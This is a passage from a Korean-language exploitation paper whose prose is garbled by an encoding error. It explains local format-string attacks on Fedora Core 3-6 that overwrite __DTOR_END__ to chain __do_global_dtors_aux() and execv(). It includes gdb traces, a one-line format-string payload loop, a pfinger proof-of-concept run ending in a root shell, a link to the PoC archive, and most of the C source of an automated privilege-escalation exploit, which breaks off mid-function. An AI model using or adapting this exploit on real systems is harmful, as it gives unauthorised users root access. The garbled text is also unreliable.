__do_global_dtors_aux() ÇÔ¼ö ³»ÀÇ return address(%eip) # µÎ ¹øÂ° È£Ãâ (°ø°Ý) (gdb) 0xbfdbcee0: 0x00000000 <--- __do_global_dtors_aux() ³»¿¡¼­ ÇÒ´çµÈ Áö¿ª º¯¼ö 8byte (gdb) 0xbfdbcee4: 0x00000001 (gdb) 0xbfdbcee8: 0xbfdbcef8 <--- __do_global_dtors_aux() ÇÔ¼ö ³»ÀÇ %ebp (gdb) 0xbfdbceec: 0x0804834b <--- __do_global_dtors_aux() ÇÔ¼ö ³»ÀÇ return address(%eip) # ù ¹øÂ° È£Ãâ (Á¤»ó) (gdb) 0xbfdbcef0: 0x00000003 <--- __do_global_dtors_aux() ³»¿¡¼­ ÇÒ´çµÈ Áö¿ª º¯¼ö 8byte (gdb) 0xbfdbcef4: 0x00000003 (gdb) 0xbfdbcef8: 0xbfdbcf08 <--- __do_global_dtors_aux+0¿¡¼­ ÀúÀåµÈ _fini() ÇÔ¼ö ³»ÀÇ %ebp (gdb) 0xbfdbcefc: 0x080484a0 <--- _fini() ÇÔ¼ö ³»ÀÇ return address(%eip) (gdb) c Continuing. Breakpoint 2, 0x0019dd8a in execv () from /lib/libc.so.6 (gdb) x/x $esp+0x14 0xbfdbcedc: 0x0804834b <--- execv() ÇÔ¼öÀÇ Ã¹ ¹øÂ° ÀÎÀÚ·Î º¹»çµÇ´Â °ª (gdb) x/x $esp+0x18 0xbfdbcee0: 0x00000000 <--- execv() ÇÔ¼öÀÇ µÎ ¹øÂ° ÀÎÀÚ·Î º¹»çµÇ´Â °ª (gdb) (gdb) x/x $esp <--- execve() ÇÔ¼ö¸¦ ºÎ¸£±â Á÷Àü stack pointer 0xbfdbcec8: 0x0804834b <--- execve() ÇÔ¼öÀÇ Ã¹ ¹øÂ° ÀÎÀÚ (gdb) 0xbfdbcecc: 0x00000000 <--- execve() ÇÔ¼öÀÇ µÎ ¹øÂ° ÀÎÀÚ (gdb) 0xbfdbced0: 0xbfdbd040 <--- execve() ÇÔ¼öÀÇ ¼¼ ¹øÂ° ÀÎÀÚ (gdb) c Continuing. Breakpoint 3, 0x0019dc28 in execve () from /lib/libc.so.6 (gdb) x/x $ebx 0x804834b <__do_global_dtors_aux+27>: 0x0495b4a1 <--- execve() ÇÔ¼öÀÇ Ã¹ ¹øÂ° ÀÎÀÚ °ª (gdb) x/x $ecx 0x0: Cannot access memory at address 0x0 <--- execve() ÇÔ¼öÀÇ µÎ ¹øÂ° ÀÎÀÚ °ª (gdb) x/x $edx 0xbfdbd040: 0xbfdbec04 <--- execve() ÇÔ¼öÀÇ ¼¼ ¹øÂ° ÀÎÀÚ °ª (gdb) ------------------------------------------------------------------------------------------------------------- ù ¹øÂ° execv() ÀÎÀÚ·Î ¾²ÀÌ´Â full ÄÚµå´Â ´ÙÀ½°ú °°½À´Ï´Ù. ------------------------------------------------------------------------------------------------------------- (gdb) x 0x0804834b 0x804834b <__do_global_dtors_aux+27>: 0x0495b4a1 (gdb) 0x804834f <__do_global_dtors_aux+31>: 0x85108b08 (gdb) 0x8048353 <__do_global_dtors_aux+35>: 0xc6eb75d2 (gdb) 0x8048357 <__do_global_dtors_aux+39>: 0x0495b805 (gdb) 0x804835b <__do_global_dtors_aux+43>: 0xc3c90108 (gdb) 0x804835f <__do_global_dtors_aux+47>: 0xe5895590 (gdb) 0x8048363 : 0xa108ec83 (gdb) 0x8048367 : 0x080494c4 (gdb) 0x804836b : 0x1274c085 (gdb) 0x804836f : 0x000000b8 (gdb) ------------------------------------------------------------------------------------------------------------- __do_global_dtors_aux+27 ¹øÂ° ÁÙºÎÅÍ frame_dummy+15 ¹øÂ° ÁÙ±îÁö ÀÔ´Ï´Ù. Á» ±æ±º¿ä. :-} ÀÚ ±×·³, ½ÇÇàÇÒ shell ÇÁ·Î±×·¥À» À§ ÁÖ¼Ò ÄÚµå·Î symlink ÇÏ¿© ½ÇÇàÇØº¸µµ·Ï ÇϰڽÀ´Ï´Ù. ------------------------------------------------------------------------------------------------------------- sh-3.1# cat > shell.c int main() { system("/bin/bash"); } sh-3.1# gcc -o shell shell.c sh-3.1# ln -s shell `printf "\xa1\xb4\x95\x04\x08\x8b\x10\x85\xd2\x75\xeb\xc6\x05\xb8\x95\x04\x08\x01\xc9\xc3 \x90\x55\x89\xe5\x83\xec\x08\xa1\xc4\x94\x04\x08\x85\xc0\x74\x12\xb8"` sh-3.1# while [ 1 ] ; do ./vuln-test `printf "\xc0\x94\x04\x08\xc2\x94\x04\x08\xc4\x94\x04\x08\xc6\x94\x04\x0 8\xc8\x94\x04\x08\xca\x94\x04\x08"`%33560x%5\$n%34004x%6\$n%31559x%7\$n%33977x%8\$n%54620x%9\$n%8889x%10\$n; done ... ... ... Segmentation fault ... ... [root@x0x __do_global_dtors_aux_test]# ------------------------------------------------------------------------------------------------------------- ¸Å¿ì ¼º°øÀûÀ¸·Î ¸í·ÉÀ» ½ÇÇàÇÒ ¼ö ÀÖ¾ú½À´Ï´Ù. __DTOR_END__ ÁÖ¼Ò À§Ä¡ºÎÅÍ ¼ø¼­´ë·Î, °ªÀ» µ¤¾î¾º¿ó´Ï´Ù. ´ÙÀ½°ú °°ÀÌ overwrite µÉ °ÍÀÔ´Ï´Ù. ------------------------------------------------------------------------------------------------------------- overwrite ±¸Á¶: <__DTOR_END__+0>: 0x08048330 (__do_global_dtors_aux() ÁÖ¼Ò) <__DTOR_END__+4>: 0x0804834b (__do_global_dtors_aux()+27 ÁÖ¼Ò) <__DTOR_END__+8>: 0x0019dd60 (execv() ÇÔ¼ö ÁÖ¼Ò) ½ÇÁ¦ gdb µð¹ö±ë °á°ú: (gdb) x 0x080494c0 0x80494c0 <__DTOR_END__>: 0x08048330 <--- __DTOR_END__ ÁÖ¼Ò¸¦ __do_global_dtors_aux() ÇÔ¼ö ÁÖ¼Ò·Î º¯°æ (gdb) 0x80494c4 <__JCR_LIST__>: 0x0804834b <--- __DTOR_END__+4 ÁÖ¼Ò¸¦ __do_global_dtors_aux()+27 ÁÖ¼Ò·Î º¯°æ (gdb) 0x80494c8 <_DYNAMIC>: 0x0019dd60 <--- __DTOR_END__+8 ÁÖ¼Ò¸¦ execv() ÇÔ¼ö ÁÖ¼Ò·Î º¯°æ (gdb) ------------------------------------------------------------------------------------------------------------- 3) ½ÇÁ¦ exploit 3-1) pfinger local exploit (Proof-of-Concept) ÀÏÀüÀÇ "Fedora Core 3,4,5,6 ³»¿¡¼­ do_system ÇÔ¼ö¸¦ ÀÌ¿ëÇÑ local format string exploit ¹æ¹ý #2" ¹®¼­¿¡¼­ ¼Ò°³ÇÑ pfinger exploit case ÀÔ´Ï´Ù. À̹ø¿¡´Â __do_global_dtors_aux() + execv() Á¶ÇÕÀ» ÅëÇØ °ø°ÝÀ» ½ÃµµÇÏ´Â exploit code ÀÔ´Ï´Ù. ¿¹Àü°ú ¸¶Âù°¡Áö·Î, °ø°Ý Äڵ带 ½ÃÇèÇϱâ À§Çؼ­´Â local ½Ã½ºÅÛ¿¡ in.fingerd µ¥¸óÀ» Ȱ¼ºÇØ¾ß ÇÕ´Ï´Ù. in.fingerd µ¥¸óÀ» Ȱ¼ºÇÑ ÈÄ, exploitÀ» ½ÇÇàÇÑ °á°ú´Â ´ÙÀ½°ú °°½À´Ï´Ù. ------------------------------------------------------------------------------------------------------------- [x82@localhost 0x82-pfinger_new_PoC]$ ./pfinger_execv_ex ... ... ... 8a3002b: no such user. [*] Fedora Core 6 based pfinger-0.7.7 local format string exploit [*] exploit successfully. [*] It's rootshell! sh-3.1# ------------------------------------------------------------------------------------------------------------- Àú¿Í ÇÔ²² exploitÀ» Áñ±â±æ ¿øÇϽô ºÐµéÀº ¾Æ·¡ Äڵ带 ´Ù¿î·Îµå ¹Þ¾Æ ½ÃÇèÇØº¸½Ã±æ ¹Ù¶ø´Ï´Ù. http://x82.inetcop.org/h0me/papers/data/0x82-pfinger_new_PoC.tgz (root ±ÇÇÑ¿¡¼­ ¾ÐÃàÀ» Ç®¸é, root ¼ÒÀ¯ÀÚÀÇ setuid°¡ ¼³Á¤µÇ¾î ÀÖÀ» °ÍÀÔ´Ï´Ù.) ¿©·¯ºÐÀÇ ½Ã½ºÅÛ¿¡ ¸Â°Ô ¼öÁ¤ÇÏ¿© ¿¬±¸¿¡ ÀûÀýÈ÷ Ȱ¿ëÇÏ½Ã±æ ¹Ù¶ø´Ï´Ù. 3-2) __do_global_dtors_aux() + execv() test exploit ÷ºÎµÈ °ø°Ý ÄÚµå´Â ¿©·¯ºÐÀÇ °¥ÁõÀ» ½±°Ô ÇØ¼Ò½ÃÄÑ ÁÙ °ÍÀÔ´Ï´Ù. (Fedora core 3,4,5,6 ¹öÀü¿¡¼­ ½ÃÇèµÇ¾ú½À´Ï´Ù.) °¢ ¿î¿µÃ¼Á¦ ¹öÀü º°·Î µ¤¾î¾º¿ì´Â °ø°Ý ÄÚµå Å©±â°¡ ´Ù¸¥ °ÍÀ» º¼ ¼ö Àִµ¥, Fedora core 3,4 ½Ã½ºÅÛÀÇ °æ¿ì, __do_global_dtors_aux() ÇÔ¼ö È£Ãâ ¾øÀÌ, __do_global_dtors_aux() + execv() ÇÔ¼ö 8byte overwrite ¸¸À¸·Î °ø°ÝÀÌ °¡´ÉÇÕ´Ï´Ù. ±× ÀÌÀ¯´Â, __do_global_dtors_aux() ÇÔ¼ö¸¦ ÅëÇÑ 16byte Ãß°¡ ÇÒ´ç ¾øÀ̵µ execv() µÎ ¹øÂ° ÀÎÀÚ °ªÀÌ null(0x00000000) °ªÀ» °®±â ¶§¹®ÀÔ´Ï´Ù. ¹°·Ð, Fedora core 5,6 ½Ã½ºÅÛÀº Áö±Ý±îÁö ¹®¼­¿¡¼­ ºÐ¼®ÇÑ´ë·Î, __do_global_dtors_aux() + __do_global_dtors_aux()+27 + execv() ÇÔ¼ö Á¶ÇÕÀ¸·Î ÃÑ 12byte overwrite¸¦ ½ÃµµÇØ¾ß °ø°ÝÀ» ¼º°ø½Ãų ¼ö ÀÖ½À´Ï´Ù. ------------------------------------------------------------------------------------------------------------- /* ** ** Code name: 0x82-dtors_execv_ex.c ** Description: Fedora Core Linux 6 based format string exploit (POC-local) ** ** -- ** exploit by "you dong-hun"(Xpl017Elz), . ** My World: http://x82.inetcop.org ** */ #include #include #include #include /* global */ int sflag=0; int type=3; unsigned long __dtors_end__=0; unsigned long call_edx_next=0; unsigned long __do_global_dtors_aux_addr=0; unsigned char __do_global_dtors_aux_ret_code[256]; struct os_t { int num; char *os; int overwrite_type; unsigned long execv_addr; }; struct os_t plat[]={ { 0,"Fedora Core release 3 (Heidelberg)",8,0xf6f415d0 /* It's bad ! */ }, { 1,"Fedora Core release 4 (Stentz)",8,0x7a22d4 }, { 2,"Fedora Core release 5 (Bordeaux)",12,0xc3541c }, { 3,"Fedora Core release 6 (Zod)",12,0x19dd60 }, { 4,NULL,0,0x0 } }; unsigned long execv_addr=0; void banrl() { fprintf(stdout,"\n Fedora Core Linux 6 based format string exploit (POC-local)\n\n"); } void sig_exit() { printf(" [-] exploit end.\n\n"); exit(-1); } void end_exploit() { printf(" [-] exploit failed.\n\n"); exit(-1); } int make_shell() { FILE *fp; if((fp=fopen("sh.c","w"))==NULL) { fprintf(stderr," [-] shell make failed.\n"); exit(-1); } fprintf(fp, "#include \n" "int main(){\n" " unlink(\"sh\");\n" " unlink(\"sh.c\");\n" " unlink(\"%s\");\n" " setuid(geteuid());\n" " setgid(getegid());\n" " setreuid(geteuid(),geteuid());\n" " setregid(getegid(),getegid());\n" " execl(\"/bin/sh\",\"sh\",0);\n" "}\n",__do_global_dtors_aux_ret_code); fclose(fp); system("gcc -o sh sh.c 2>/dev/null 1>/dev/null >/dev/null"); symlink("sh",__do_global_dtors_aux_ret_code); return 0; } int main(int argc,char *argv[]) { FILE *fp; int ret=0; (void)banrl(); if(argc<2) { fprintf(stdout," Usage: %s [target program] [os type num]\n" " example> %s ./vuln 3 (default)\n\n" " type num> 0: FC3.\n" " 1: FC4.\n" " 2: FC5.\n" " 3: FC6. (default)\n\n",argv[0],argv[0]); exit(-1); } if(argc==3) { type=atoi(argv[2]); } execv_addr=plat[type].execv_addr; printf(" [+] execv address: %p\n",execv_addr); signal(SIGINT,sig_exit); signal(SIGTSTP,sig_exit); if((ret=find_sflag_poc(argv[1]))==-1) { end_exploit(); } if((ret=find_addr(argv[1]))==-1) { end_exploit(); } if((ret=find_execute_command(argv[1]))==-1) { end_exploit(); } (int)make_shell(); #define PATH ".:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin:" setenv("PATH",PATH,strlen(PATH)); while(1) { do_exploit(argv[1]); /* exploit success check */ if((fp=fopen("sh","r"))==NULL) { fprintf(stdout," [*] exploit successfully.\n\n"); exit(-1); } else fclose(fp); } return 0; } int do_exploit(char *p) { int i=0; int j=0; int pid=0; int t_sflag=sflag; int __do_global_dtors_aux_head=0; int __do_global_dtors_aux_tail=0; int call_edx_next_head=0; int call_edx_next_tail=0; int execv_head=0; int execv_tail=0; unsigned char buf[1024]; unsigned char fmt[512]; memset(buf,0,sizeof(buf)); memset(fmt,0,sizeof(fmt)); __do_global_dtors_aux_head=(__do_global_dtors_aux_addr>>16)&0xffff; __do_global_dtors_aux_tail=(__do_global_dtors_aux_addr>>0)&0xffff; call_edx_next_head=(call_edx_next>>16)&0xffff; call_edx_next_tail=(call_edx_next>>0)&0xffff; execv_head=(execv_addr>>16)&0xffff; execv_tail=(execv_addr>>0)&0xffff; // make retloc *(long *)&buf[i]=__dtors_end__+0; /* __do_global_dtors_aux() */ i+=4; *(long *)&buf[i]=__dtors_end__+2; i+=4; *(long *)&buf[i]=__dtors_end__+4; /* __do_global_dtors_aux()+27 */ i+=4; *(long *)&buf[i]=__dtors_end__+6; i+=4; *(long *)&buf[i]=__dtors_end__+8; /* execv() */ i+=4; *(long *)&buf[i]=__dtors_end__+10; i+=4; // make format string if(plat[type].overwrite_type==8) { /* __do_global_dtors_aux()+27 */ sprintf(fmt+strlen(fmt),"%%%ux%%%d$n%%%ux%%%d$n", call_edx_next_tail-strlen(buf), t_sflag+0, (0x10000+call_edx_next_head)-call_edx_next_tail, t_sflag+1); t_sflag+=2; } else if(plat[type].overwrite_type==12) { /* __do_global_dtors_aux() */ sprintf(fmt,"%%%ux%%%d$n%%%ux%%%d$n", __do_global_dtors_aux_tail-strlen(buf), t_sflag+0, (0x10000+__do_global_dtors_aux_head)-__do_global_dtors_aux_tail, t_sflag+1); t_sflag+=2; /* __do_global_dtors_aux()+27 */ sprintf(fmt+strlen(fmt),"%%%ux%%%d$n%%%ux%%%d$n", call_edx_next_tail-__do_global_dtors_aux_head, t_sflag+0, (0x10000+call_edx_next_head)-call_edx_next_tail, t_sflag+1); t_sflag+=2; } /* execv() */ sprintf(fmt+strlen(fmt),"%%%ux%%%d$n%%%ux%%%d$n", execv_tail-call_edx_next_head, t_sflag+0, (0x10000+execv_head)-execv_tail, t_sflag+1); t_sflag+=2; strcat(buf,fmt); if((pid=fork())==0) { execl(p,p,buf,0); } wait(&pid); return 0; } int find_addr(char *p) { char buf[256]; FILE *fp; memset(buf,0,sizeof(buf)); sprintf(buf,"echo -n '0x'; " "objdump -d %s | " "grep \"__do_global_dtors_aux>:\" | " "awk -F\" \" {'print $1'}",p); if((fp=popen(buf,"r"))==NULL) { printf(" [-] __do_global_dtors_aux address error\n"); return -1; } memset(buf,0,sizeof(buf)); fgets(buf,sizeof(buf)-1,fp); pclose(fp); __do_global_dtors_aux_addr=strtoul(buf,0,0); memset(buf,0,sizeof(buf)); sprintf(buf,"echo -n '0x'; " "objdump -d %s | " "grep -A 1 \"*%%edx\" | " "tail -1 | awk -F\" \" {'print $1'}",p); if((fp=popen(buf,"r"))==NULL) { printf(" [-] call *%edx next address error\n"); return -1; } memset(buf,0,sizeof(buf)); fgets(buf,sizeof(buf)-1,fp); pclose(fp); call_edx_next=strtoul(buf,0,0); memset(buf,0,sizeof(buf)); sprintf(buf,"echo -n '0x'; " "objdump -h %s | grep .dtors | " "awk -F\" \" {'print $4'}",p); if((fp=popen(buf,"r"))==NULL) { printf(" [-] __dtors_end__ section error\n"); return -1; } memset(buf,0,sizeof(buf)); fgets(buf,sizeof(buf)-1,fp); pclose(fp); __dtors_end__=strtoul(buf,0,0); __dtors_end__+=0x4; printf(" [*] __do_global_dtors_aux(): %p\n" " [*] __do_global_dtors_aux()+27: %p\n" " [*] __dtors_end__ section: %p\n", __do_global_dtors_aux_addr,call_edx_next,__dtors_end__); return 0; } int find_sflag_poc(char *p) { int i; char buf[256]; FILE *fp; printf(" [+] find sflag number.\n"); for(i=0;i<200;i++) { memset(buf,0,sizeof(buf)); sprintf(buf,"%s AAAA.%%%d\\$x",p,i); if((fp=popen(buf,"r"))==NULL) { printf(" [-] %s execute error\n",p); return -1; } memset(buf,0,sizeof(buf)); fgets(buf,sizeof(buf)-1,fp); pclose(fp); if(strstr(buf,"AAAA.41414141")) { sflag=i; printf(" [*] sflag: %d\n",sflag); return 0; } } return -1; } int find_execute_command(char *p) { unsigned char buf[256]; unsigned char code[16]; FILE *fp; int j,z; memset((char *)code,0,sizeof(code)); memset((char *)buf,0,sizeof(buf)); sprintf(buf,"objdump -d %s | " "grep *%%edx -A 30 | " "grep \\$0x0,%%eax -B 16 | " "awk -F\"\\t\" {'print $2'} | " "awk -F\" \" {'print $1'}",p); if((fp=popen(buf,"r"))==NULL) { printf("error\n"); exit(-1); } j=z=0; memset((char *)buf,0,sizeof(buf)); while(fgets(buf,sizeof(buf)-1,fp)) { for(j=0;j